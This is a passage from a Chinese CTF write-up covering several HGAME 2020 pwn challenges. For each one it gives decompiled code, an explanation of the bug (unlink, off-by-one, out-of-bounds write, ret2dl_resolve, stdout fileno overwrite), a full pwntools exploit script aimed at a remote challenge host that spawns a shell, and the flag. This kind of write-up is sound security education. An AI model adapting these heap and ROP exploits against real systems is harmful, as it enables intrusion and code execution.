def delete(delete_idx):
    p.sendlineafter(':', '2')
    p.sendlineafter('index?\n', str(delete_idx))


def show(show_idx):
    p.sendlineafter(':', '3')
    p.sendlineafter('index?\n', str(show_idx))
    p.recvuntil('content:')


def edit(edit_idx, edit_content):
    p.sendlineafter(':', '4')
    p.sendlineafter('index?\n', str(edit_idx))
    p.sendlineafter('content:', edit_content)


addr_chunk_list = 0x602040
add(0x90, '')
add(0x90, '')
add(0x90, '')
add(0x90, '')
add(0x90, '/bin/sh\x00')
delete(0)
add(0x90, '')
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) + 0x6
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_system = libcbase + libc.sym['system']
addr___free_hook = libcbase + libc.sym['__free_hook']

pd = p64(0) + p64(0x91)
pd += p64(0x602040 - 0x8) + p64(0x602040)
pd += '\x00' * 0x70
pd += p64(0x90) + p64(0xa0)
edit(2, pd)
delete(3)
edit(2, p64(0) + p64(addr___free_hook))
edit(0, p64(addr_system))
delete(4)
# gdb.attach(p)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_system        = ' + hex(addr_system))
success('addr___free_hook   = ' + hex(addr___free_hook))
p.interactive()

Flag:

1
hgame{unununununununlink}

E99p1ant_Note

Description:

libc 2.23
nc 47.103.214.163 20302

Solution:

程序保护如下：

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5
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

exp如下：

add 函数如下：

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__int64 add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    if ( i > 19 )
    {
      puts("full!");
      return 0LL;
    }
    if ( !list[i] )
      break;
  }
  puts("size?");
  v2 = readi("size?");
  if ( v2 > 0x100 )
  {
    puts("Invalid size!");
    exit(0);
  }
  list[i] = malloc(v2);
  sizelist[i] = v2;
  printf("content:");
  read_n(list[i], v2);
  puts("done!");
  return 0LL;
}

delete 函数依旧没有 UAF，edit 函数也没啥特殊，但是 edit 函数和 add 函数都有一个漏洞函数 read_n，read_n 函数如下：

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__int64 __fastcall read_n(__int64 a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= a2; ++i )
  {
    read(0, (i + a1), 1uLL);
    if ( *(i + a1) == 10 )
      break;
  }
  return 0LL;
}

能看出这函数多写了一个字符到内存里，所以我们可以利用这个性质打 off_by_one 的漏洞

释放一个堆块使让它包含着两个小堆块，再次申请回来两个小堆块，这样堆块列表就会存着两个第二个小堆块的地址

利用这个性质开心 double free 即可

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./E99')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 20302)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./E99', checksec=False)


def add(add_size, add_content):
    p.sendlineafter(':', '1')
    p.sendlineafter('size?\n', str(add_size))
    p.sendlineafter('content:', add_content)


def delete(delete_idx):
    p.sendlineafter(':', '2')
    p.sendlineafter('index?\n', str(delete_idx))


def show(show_idx):
    p.sendlineafter(':', '3')
    p.sendlineafter('index?\n', str(show_idx))
    p.recvuntil('content:')


def edit(edit_idx, edit_content):
    p.sendlineafter(':', '4')
    p.sendlineafter('index?\n', str(edit_idx))
    p.sendafter('content:', edit_content)


addr_chunk_list = 0x202040
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
add(0x88, '')
add(0xf8, '')
add(0x68, '')
add(0x68, '')
delete(0)
add(0x88, '')
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) + 0x6
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]

pd = 'a' * 0x80
pd += p64(0) + '\x71'
edit(0, pd)
delete(1)
add(0xf8, '')
add(0x68, '')

delete(2)
delete(3)
delete(4)

add(0x68, p64(addr___malloc_hook - 0x23))
add(0x68, p64(addr___malloc_hook - 0x23))
add(0x68, p64(addr___malloc_hook - 0x23))
pd = '\x00' * 0x13
pd += p64(addr_one_gadget)
add(0x68, pd)
p.sendlineafter(':', '1')
p.sendlineafter('size?\n', '16')
# gdb.attach(p)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_one_gadget    = ' + hex(addr_one_gadget))
p.interactive()

Flag:

1
hgame{offoffoffbybybyoneoneone}

junior_iterator

Description:

nc 47.103.214.163 20303

Solution:

程序保护如下：

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5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

程序主函数如下，这里我修改了不少函数名字：

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int menu()
{
  puts("----------");
  puts("1. New phone list");
  puts("2. show list item");
  puts("3. edit list item");
  puts("4. overwrite list");
  puts("5. show all list");
  puts("6. exit");
  puts("----------");
  printf("> ");
  return input_atoi();
}

有用的函数下标：1、3、4、5，先放函数 1(add)：

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int add()
{
  __int64 v0; // rbx
  char v2; // [rsp+7h] [rbp-19h]
  unsigned int i; // [rsp+8h] [rbp-18h]
  int v4; // [rsp+Ch] [rbp-14h]

  printf("List count: ");
  v4 = input_atoi();
  for ( i = 0; i <= 9; ++i )
  {
    if ( !list_id_4050E0[i] )
    {
      no_use_6(&v2);
      v0 = operator new(0x18uLL);
      malloc_src_size_desc(v0, v4, &v2);
      list_id_4050E0[i] = v0;
      no_use_14(&v2);
      return printf("Create success, id: %d\n", i);
    }
  }
  return puts("List MAX");
}

函数 3(edit)：

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int edit()
{
  bool v1; // al
  __int64 v2; // rax
  int v3; // [rsp+8h] [rbp-28h]
  int v4; // [rsp+Ch] [rbp-24h]
  _QWORD *v5; // [rsp+10h] [rbp-20h]

  printf("List id: ");
  v3 = input_atoi();
  if ( v3 < 0 || v3 > 10 )
    return puts("id out of range");
  v5 = list_id_4050E0[v3];
  if ( !v5 )
    return puts("List undefined");
  printf("Item id: ");
  v4 = input_atoi();
  v1 = v4 < 0 || v4 > no_use_18(v5);
  if ( v1 )
    return puts("item id out of range");
  printf("New number: ");
  v2 = input_atol();
  *throw_range_error(v5, v4) = v2;
  return puts("Edit success");
}

函数 4(overwrite)：

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int overwrite()
{
  int v1; // ST0C_4
  int v2; // ST10_4
  int v3; // [rsp+8h] [rbp-48h]
  int v4; // [rsp+14h] [rbp-3Ch]
  __int64 v5; // [rsp+18h] [rbp-38h]
  __int64 v6; // [rsp+20h] [rbp-30h]
  __int64 v7; // [rsp+28h] [rbp-28h]
  __int64 v8; // [rsp+30h] [rbp-20h]
  __int64 v9; // [rsp+38h] [rbp-18h]

  printf("List id: ");
  v3 = input_atoi();
  if ( v3 < 0 || v3 > 10 )
    return puts("id out of range");
  v9 = list_id_4050E0[v3];
  if ( !v9 )
    return puts("List undefined");
  printf("Star id: ");
  v1 = input_atoi();
  printf("End id: ");
  v2 = input_atoi();
  printf("New number: ");
  v4 = input_atoi();
  v8 = equal_(v9);
  v5 = get_addr_rdi_row_rsi_col(&v8, v1);
  v7 = equal_(v9);
  v8 = get_addr_rdi_row_rsi_col(&v7, v2);
  v6 = get_addr_rdi_row_rsi_col(&v8, 1LL);
  v8 = equal(v9);
  if ( iterator_equal_check(&v6, &v8) )
  {
    while ( iterator_equal_check(&v5, &v6) )
    {
      *use_iterator(&v5) = v4;
      iterator_add_8(&v5);
    }
  }
  return puts("Overwrite Done");
}

函数 5(show_all)：

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void show_list()
{
  _QWORD *v0; // rax
  signed int i; // [rsp+4h] [rbp-1Ch]
  __int64 j; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 9; ++i )
  {
    v4 = list_id_4050E0[i];
    if ( v4 )
    {
      for ( j = equal_(v4); ; iterator_add_8(&j) )
      {
        v3 = equal(v4);
        if ( !iterator_equal_check(&j, &v3) )
          break;
        v0 = use_iterator(&j);
        printf("List %d : %ld\n", i, *v0);
      }
    }
  }
}

这题漏洞点主要是在这，直接拿堆看比较清晰，函数 1(add)调用后会产生两个堆：

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0x210ec10 FASTBIN {
  prev_size = 0x0,
  size = 0x21,
  fd = 0x210ec40,
  bk = 0x210ec48,
  fd_nextsize = 0x210ec48,
  bk_nextsize = 0x21,
}
0x210ec30 FASTBIN {
  prev_size = 0x210ec48,
  size = 0x21,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x21,
}

上面的堆是 iterator 用来找结尾地址用的，从 fd 的值开始，每一次加 8，直到等于 bk 的值

下面的堆就是用来写入字符串的地址，fd 是 item 0，bk 是 item 1，以此类推

overwrite 函数有着越界写的能力，所以可以先创建两个 list 通过上一个 list 修改下一个 list 的 fd 和 bk

按上图来说，就是 0x210ec40 和 0x210ec48 所处的地址，将其改为 got 表的某一项和该项的后 n 位，n 的具体值要看该 got 表地址后几项上面出现了 libc 的地址

即用 overwrite 函数改写完后，通过输入 5 来进行 libc 泄露

之后通过 edit 函数修改 got 表值为 system，再输入/bin/sh即可，这里我选择修改的是 got_atol，因为只有在 edit 函数里它才会被调用

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./main')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 20303)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./main', checksec=False)


def add(add_count):
    p.sendlineafter('> ', '1')
    p.sendlineafter('List count: ', str(add_count))


def edit(edit_list_id, edit_item_id, edit_content):
    p.sendlineafter('> ', '3')
    p.sendlineafter('List id: ', str(edit_list_id))
    p.sendlineafter('Item id: ', str(edit_item_id))
    p.sendlineafter('New number: ', str(edit_content))


def overwrite(overwrite_list_id, overwrite_item_start_id,
              overwrite_item_end_id, overwrite_content):
    p.sendlineafter('> ', '4')
    p.sendlineafter('List id: ', str(overwrite_list_id))
    p.sendlineafter('Star id: ', str(overwrite_item_start_id))
    p.sendlineafter('End id: ', str(overwrite_item_end_id))
    p.sendlineafter('New number: ', str(overwrite_content))


got_atol = elf.got['atol']
add(1)
add(1)
overwrite(0, 4, 4, got_atol)
overwrite(0, 5, 5, got_atol + 0x40)
p.sendlineafter('> ', '5')
p.recvuntil(' : ')
p.recvuntil(' : ')
p.recvuntil(' : ')

addr_read = int(p.recvuntil('\n')[: -1])
libcbase = addr_read - libc.sym['read']
addr_system = libcbase + libc.sym['system']

edit(1, 0, addr_system)
# gdb.attach(p, 'b *0x402016\nc')
edit(0, 0, '/bin/sh\x00')
success('addr_read   = ' + hex(addr_read))
success('addr_system = ' + hex(addr_system))
# gdb.attach(p)
p.interactive()

Flag:

1
hgame{THE_4maz1ng_C++_Pwn}

ROP_LEVEL5

Description:

Do you know the Lv.5?Just like Misaka Mikoto!
nc 47.103.214.163 20700

Solution:

程序保护如下：

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3
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5
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

主函数如下：

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ssize_t vuln()
{
  char buf; // [esp+4h] [ebp-44h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts("Are you the LEVEL5?");
  close(1);
  close(2);
  return read(0, &buf, 0x100u);
}

关了标准输出和错误输出，能用的函数还就那么几个，所以我使用了 ret2_dl_resolve

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./ROP5')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 20700)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./ROP5', checksec=False)
got_read = elf.got['read']
plt_read = elf.plt['read']
addr_main = 0x804855C
addr_bss = elf.bss(0x100)

addr_rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr  # .rel.plt
addr_dynsym = elf.get_section_by_name('.dynsym').header.sh_addr    # .dynsym
addr_dynstr = elf.get_section_by_name('.dynstr').header.sh_addr    # .dynstr
addr_plt_0 = elf.get_section_by_name('.plt').header.sh_addr        # .plt

dl_indexbase = addr_bss - addr_rel_plt
dl_index_dynsym = (addr_bss + 0xc - addr_dynsym) / 0x10
dl_r_info = (dl_index_dynsym << 8) | 7
dl_st_name = addr_bss + 0x18 - addr_dynstr

# gdb.attach(p, "b *0x804855A\nc\nc" + "\nsi" * 15 + "\nni" + "\nsi" * 16)
pd = 'a' * 0x48
pd += p32(plt_read)
pd += p32(addr_main)
pd += p32(0)
pd += p32(addr_bss)
pd += p32(0x200)
p.sendlineafter('Are you the LEVEL5?\n', pd)
sleep(1)

success('dl_indexbase    = ' + hex(dl_indexbase))
success('dl_index_dynsym = ' + hex(dl_index_dynsym))
success('dl_r_info       = ' + hex(dl_r_info))
success('dl_st_name      = ' + hex(dl_st_name))

pd = p32(got_read)
pd += p32(dl_r_info)
pd += p32(dl_st_name)
pd += p32(0) * 2
pd += p32(12)
pd += 'system\x00\x00'
pd += '/bin/sh\x00'
p.sendline(pd)
sleep(2)

pd = 'a' * 0x48
pd += p32(addr_plt_0)
pd += p32(dl_indexbase)
pd += p32(addr_main)
pd += p32(addr_bss + 8 * 4)
p.sendline(pd)
sleep(1)
p.sendline("exec 1>&0")
p.interactive()

Flag:

1
hgame{ROP_LEVEL5_Judgelight}

Annevi_Note2

Description:

Do you know the IO_FILE?
libc 2.23
nc 47.103.214.163 20701

Solution:

程序保护如下：

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3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

主程序如下：

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int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  init();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = readi();
        if ( v3 != 2 )
          break;
        dele();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
    if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 != 4 )
LABEL_13:
        exit(0);
      edit();
    }
  }
}

漏洞点全在 edit 函数：

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__int64 edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index?");
  v1 = readi();
  if ( list[v1] )
  {
    printf("content:");
    read_n(list[v1], 0x100);
    puts("done!");
  }
  else
  {
    puts("Invalid index!");
  }
  return 0LL;
}

数组越界写加上 0x100 这个东西可以修改堆块头部，我们看 add 函数：

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__int64 add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  signed int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    if ( i > 19 )
    {
      puts("full!");
      return 0LL;
    }
    if ( !list[i] )
      break;
  }
  puts("size?");
  v2 = readi();
  if ( v2 <= 0x8F || v2 > 0x400 )
  {
    puts("Invalid size!");
    exit(0);
  }
  list[i] = malloc(v2);
  printf("content:");
  read_n(list[i], v2);
  puts("done!");
  return 0LL;
}

这个大小完全可以改头部，程序初始化时有一个烦人的关闭标准输出流：

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int init()
{
  puts("Annevi!The eternal God!");
  puts("Welcome to Annevi's note2");
  return close(1);
}

我们可以依靠 edit 函数的越界写来修改_IO_2_1_stdout_内部的_fileno为 2，用错误输出流来输出内容

这样之后就可以继续 unlink，然后泄露 libc，继续修改 got_free 为 addr_system，来释放/bin/sh 1>&2获得 shell

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./AN2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 20701)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./AN2', checksec=False)


def add(add_size, add_content):
    p.sendlineafter('4.edit\n:', '1')
    p.sendlineafter('size?\n', str(add_size))
    p.sendline(add_content)


def delete(delete_idx):
    p.sendlineafter('4.edit\n:', '2')
    p.sendlineafter('index?\n', str(delete_idx))


def edit(edit_idx, edit_content):
    p.sendlineafter('4.edit\n:', '4')
    p.sendlineafter('index?\n', str(edit_idx))
    p.sendline(edit_content)


got_free = elf.got['free']
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_stdout = 0x6020A0
addr_chunk_list = 0x6020E0

p.recvuntil("Welcome to Annevi's note2\n")
p.sendline('4')
sleep(0.3)
p.sendline(str((addr_stdout - addr_chunk_list) / 8))
sleep(0.3)
p.sendline(p64(0xfbad28a7) + p64(0) * 13 + p32(2))
sleep(0.3)

add(0x90, '')
add(0x90, '')
add(0x90, '/bin/sh 1>&2')
add(0x90, '')
add(0x90, '')
pd = p64(0) + p64(0x91)
pd += p64(addr_chunk_list) + p64(addr_chunk_list + 8)
pd += '\x00' * 0x70
pd += p64(0x90) + p64(0xa0)
edit(3, pd)
delete(4)

pd = p64(got_free)
pd += p64(got_puts)
edit(3, pd)
edit(0, p64(plt_puts))
delete(1)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']

edit(0, p64(addr_system))
delete(2)
success('addr_puts   = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

1
hgame{le4k_W1th_1O_F1LE}

本文标题:【WriteUp】HGAME 2020--Pwn题解

文章作者:binLep

发布时间:2020-02-15, 20:35:00

最后更新:2020-02-15, 23:34:39

原始链接:https://binlep.github.io/old_blog_01/2020/02/16/【WriteUp】HGAME 2020--Pwn题解/

许可协议: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

文章目录
  1. 1. Hard_AAAAA
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. Number_Killer
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. One_Shot
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. ROP_LEVEL0
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. findyourself
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. Roc826s_Note
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
  7. 7. Another_Heaven
    1. 7.1. Description:
    2. 7.2. Solution:
    3. 7.3. Flag:
  8. 8. 形而上的坏死
    1. 8.1. Description:
    2. 8.2. Solution:
    3. 8.3. Flag:
  9. 9. ROP_LEVEL2
    1. 9.1. Description:
    2. 9.2. Solution:
    3. 9.3. Flag:
  10. 10. Annevi_Note
    1. 10.1. Description:
    2. 10.2. Solution:
    3. 10.3. Flag:
  11. 11. E99p1ant_Note
    1. 11.1. Description:
    2. 11.2. Solution:
    3. 11.3. Flag:
  12. 12. junior_iterator
    1. 12.1. Description:
    2. 12.2. Solution:
    3. 12.3. Flag:
  13. 13. ROP_LEVEL5
    1. 13.1. Description:
    2. 13.2. Solution:
    3. 13.3. Flag:
  14. 14. Annevi_Note2
    1. 14.1. Description:
    2. 14.2. Solution:
    3. 14.3. Flag:
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